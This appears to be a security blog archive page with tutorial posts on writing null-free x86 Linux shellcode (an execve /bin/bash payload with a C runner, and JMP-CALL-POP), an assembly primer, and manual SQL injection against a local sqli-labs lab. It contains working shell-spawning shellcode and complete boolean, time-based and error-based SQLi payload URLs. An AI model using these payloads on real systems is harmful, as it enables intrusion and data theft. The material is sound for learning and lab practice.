	mov dword [esi +10], esi
	mov dword [esi +14], ebx

	lea ebx, [esi]
	lea ecx, [esi +10]
	lea edx, [esi +14]
	xor eax, eax
	mov al, 0xb
	int 0x80

call_shellcode:
	call shellcode	
	; A=0 B=address of /bin/bash C=0x00000000
	message db "/bin/bashABBBBCCCC"

We extract the shellcode using objdump with the beautiful greps and seds command:

objdump -d ./execve|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

We put the shellcode inside this little c program:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x1a\x5e\x31\xdb\x88\x5e\x09\x89\x76\x0a\x89\x5e\x0e\x8d\x1e\x8d\x4e\x0a\x8d\x56\x0e\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

And we compile it:

gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Finally, when we execute it, we are generating another /bin/bash process.

Doing a small modification of the code, when can use /bin/sh instead:

I hope you liked it. See you!

Posted in Exploiting | Tagged , , , , , , , , | Leave a comment

Shellcoding Linux x86 JMP-CALL-POP technique (1/3)

Currently I’m studying SLAE certification of Pentester Academy and I found a really interesting video that explained this technique. I’m going to follow the course instructions step by step and try to explain it here the best as I can. By the way, I totally recommend this course, everything is really well explained and the content is really good.

So, following the SLAE topics, in this second article related with Assembly I am going to explain how to develop a small shellcode that prints “Hello World!” in the screen. In the last blog post, I already showed you how to write a Hello World, but to convert this into a shellcode we have 2 restrictions:


1) We can not have any 0x00 instructions. This are null bytes and usually break our shellcode execution.


2) We can not use any hard coded addresses. Our code should be able to run in different computer and programs, and the addresses need to be generated dynamically.

We start from this code:

; HelloWorld.nasm
; Author:  Vivek Ramachandran
; Website:  https://www.pentesteracademy.com
; Student: Xavi Bel

global _start

section .text

_start:

	; write syscall
	mov eax, 0x4
	mov ebx, 0x1
	mov ecx, message
	mov edx, mlen
	int 0x80

	; exit syscall
	mov eax, 0x1
	mov ebx, 0x0
	int 0x80

section .data

	message: db "Hello World!"
	mlen equ $-message

So let’s check if our code contains any null values or hard coded addresses. To do this we can use objdump utility:

objdump -d HelloWorldShellcode -M intel

So we have both problems, we have a lot of null bytes and the memory address of the “Hello World!” string.

Let’s start removing the null bytes, to do that we need to modify all the mov instructions that generated null bytes to equivalent instructions.

The way to do this is the following:
When we use an xor operation between the same values, the result is always zero. There is another thing that we need to know, the register EAX, can be segmented in AH(High) and AL(Low), please watch the image below, So we can mov a 4 into AL.

So instead of:

mov eax, 0x4

We can do:

xor eax, eax
mov al, 0x4

We can repeat this process for all the mov instructions that generated a 0x00.

Once we do that, we need to fix the other problem, the hard coded address of the variable message. I will explain what we are going to do: first we are going to move the array declaration inside the data segment, after that we are going to create a jmp to a procedure named call_shellcode, this procedure will contain two lines, the first one is a call shellcode, and the second one is the message, so once the call shellcode instruction will be executed, the direction of message will be saved in ecx register and we fix the original problem.

So, being squematic, the code will have this structure:

jmp short call_shellcode

shellcode:
   ...
   ...
   pop ecx ; So now the memory address of message is saved in ecx
   ...
   ...

call_shellcode:
   call shellcode
   message: db "Hello World!", 0xA

Doing this we are going to fix the 2 problems and now our shellcode is going to work correctly.

Here is the final code:

; HelloWorldShellcode.nasm
; Author:  Vivek Ramachandran
; Website:  https://www.pentesteracademy.com
; Student: Xavi Bel

global _start

section .text

_start:
jmp short call_shellcode

shellcode:

	pop ecx;
	
	; write syscall
	xor eax, eax
	mov al, 0x4

	xor ebx, ebx
	mov bl, 0x1	

	
	mov edx, 13
	int 0x80

	; exit syscall
	xor eax, eax
	mov al, 0x1

	xor ebx, ebx

	int 0x80


call_shellcode:
	call shellcode
	message: db "Hello World!", 0xA

Now we can extract the instructions using objdump:

objdump -d ./HelloWorldShellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

And we can verify, that we have not any null bytes.

Now using this small C program we can verify ir our shellcode works:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x18\x59\x31\xc0\xb0\x04\x31\xdb\xb3\x01\xba\x0d\x00\x00\x00\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe3\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x0a";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

We compile it using:

gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

And it works!

I hope you liked the post, probably I’m going to write a new one soon. See you!

Posted in Exploiting | Tagged , , , , , , , , | Leave a comment

Introduction to Assembly

In this article I’m going to write a quick introduction to intel x86 assembly language. We are going to create a program, that is going to print a sentence in the screen.

Before starting programming, we need to know a couple of things, what is a system call, what is the instruction 0x80 and what are assembly registers.

  • A system call, is a the programmatic way in which a computer program request a service from the kernel of the operating system it is executed on.
  • Int 0x80 is the assembly language instruction that is used to invoke system calls in Linux on x86 (i.e., Intel-compatible) processors.
  • Also we need to know what are assembly registers EAX, EBX, ECX, etc. A register store data elements for processing without having to access the memory, and all these are General Purpose registers.

In the image below, you can see the content of the file “/usr/include/i386-linux-gnu/asm/unistd_32.h” that contains all the linux 32 bits system calls.

We can see that the system call write is the number 4. To see in more detail what is this system call and how to use it, we can execute the command “man 2 write”.

This sytem call, needs 3 arguments. To set them to the value that we need, we just have to use the assembly registers:
EAX – 1st argument
EBX – 2nd argument
ECX – 3rd argument
EDX – 4th argument
ESI – 5th argument
EDI – 6th argument

So, lets write “Hello World!” using write syscall:

  • EAX has to be 4, because write is the syscall number 4.
  • EBX, needs to be 1, because we want to write to file descriptor 1, that is stdout.
  • ECX needs to contain the message, in this case the variable message.
  • EDX, needs to contain the length of message, that is 12.
    The last thing we need to do, is to use 0x80 to invoke the system call.

So this is the final code:

; write syscall
mov eax, 0x4
mov ebx, 0x1
mov ecx, message
mov edx, 12
int 0x80

And this will be the full program:

; HelloWorld.asm
; Author: Xavi Beltran

global _start

section .text

_start:

	; write syscall
	mov eax, 0x4
	mov ebx, 0x1
	mov ecx, message
	mov edx, mlen
	int 0x80

	; exit syscall
	mov eax, 0x1
	mov ebx, 0x0
	int 0x80

section .data

	message: db "Hello World!"
	mlen equ $-message

To compile it we must run:
nasm -f elf32 -o HelloWorld.asm -o HelloWorld.o HelloWorld.asm
ld -o HelloWorld HelloWorld.o

And here you can see the execution of the program:

That’s all for the first introduction to assembly language!

Posted in Exploiting | Tagged , , , , , , , , | Leave a comment

SQL Injection 4

Time to move on to time-based SQLi.

 

Time based SQLi

The process is almost the same as boolean-based. The thing that changes is the way to identify a true condition. Let’s visit level 9 of sqlilabs.

The way to identify a true condition is using the function sleep:
True) and sleep(10)

Let’s verify that it works properly:
http://192.168.1.11/sqli-labs-master/Less-9/?id=1' and sleep(10) --+

And the web page takes 10 seconds to load:

 

And now we perform the first query, if 1=1 it would wait 10 seconds:
http://192.168.1.11/sqli-labs-master/Less-9/?id=1' and sleep(10) and 1=1 --+

Next step is to extract useful information:
http://192.168.1.11/sqli-labs-master/Less-9/?id=1' and sleep(10) and database()='security' --+

And the way to extract the database name, or anything that we need is using again the substring function.
http://192.168.1.11/sqli-labs-master/Less-9/?id=1' and sleep(10) and substring(database(),1,1)='s' --+

Posted in Hacking Web | Tagged , , , , | Leave a comment

SQL Injection 3

In this article I’m going to explain step by step how you can extract information of a database using a blind boolean based SQLi vulnerability.

 

Blind boolean based SQLi

First of all we need to understand what a boolean statement is. We are going to make queries to the database, and we are going to know if they are true or false.

This is the most basic example:

True: and 1=1
False: and 1=2

Now let’s try it in a lab environment. We are going to move forward to sqlilabs level 8.

First, we are going to verify that the blind boolean SQLi works correctly:
http://192.168.1.11/sqli-labs-master/Less-8/?id=1' and 1=1 --+

And we get a true response:

http://192.168.1.11/sqli-labs-master/Less-8/?id=1' and 1=2 --+

And we get a false response:

 

We can also verify it with letters instead of numbers:
http://192.168.1.11/sqli-labs-master/Less-8/?id=1' and 'a'='a' --+
http://192.168.1.11/sqli-labs-master/Less-8/?id=1' and 'a'='b' --+

 

Now we can do more complex queries, like asking if the database name is correct:
http://192.168.1.11/sqli-labs-master/Less-8/?id=1' and database()='security' --+
http://192.168.1.11/sqli-labs-master/Less-8/?id=1' and database()='lol' --+

 

Normally we won’t know the name of the database. So we are going to use function substring to extract it. Here we are going to ask if the first character of the database is a letter ‘s’.
http://192.168.1.11/sqli-labs-master/Less-8/?id=1' and substring(database(),1,1)='s' --+

 

Database name is “security. So the first letter is an ‘s’, and the statement is true:


http://192.168.1.11/sqli-labs-master/Less-8/?id=1' and substring(database(),1,1)='x' --+

 

Database name doesn’t start with letter x, so it’s false:

 

Then, we are going to ask for the second character and so on.
http://192.168.1.11/sqli-labs-master/Less-8/?id=1'and substring(database(),2,1)='e' --+
http://192.168.1.11/sqli-labs-master/Less-8/?id=1'and substring(database(),2,1)='x' --+

Posted in Hacking Web | Tagged , , , , | Leave a comment

SQL Injection 2

Let’s continue understanding SQL injections. This time we are going to focus on understanding how to exploit more complicated SQL injections manually.

 

Error/Doble Query

To understand Error-based SQLi, we need to start doing lesson 5 and 6 of the sqlilab.

In this case, we can count columns user order by, but we can’t identify any vulnerable parameters to display information.

So, to extract information, we can use a Firefox add-on named hackbar.

 

 

Example 1

If we want to display the version, we select this option and copy it into our payload.

http://192.168.1.11/sqli-labs-master/Less-5/?id=1' +OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1 --+

 

Example 2

Or the database name (Or any other thing that we want):

To extract the database, we need to select the option in hackbar.

And add it to the query.

http://192.168.1.14/sqli-labs-master/Less-6/?id=-1" +AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) --+

Posted in Hacking Web | Tagged , , , , | Leave a comment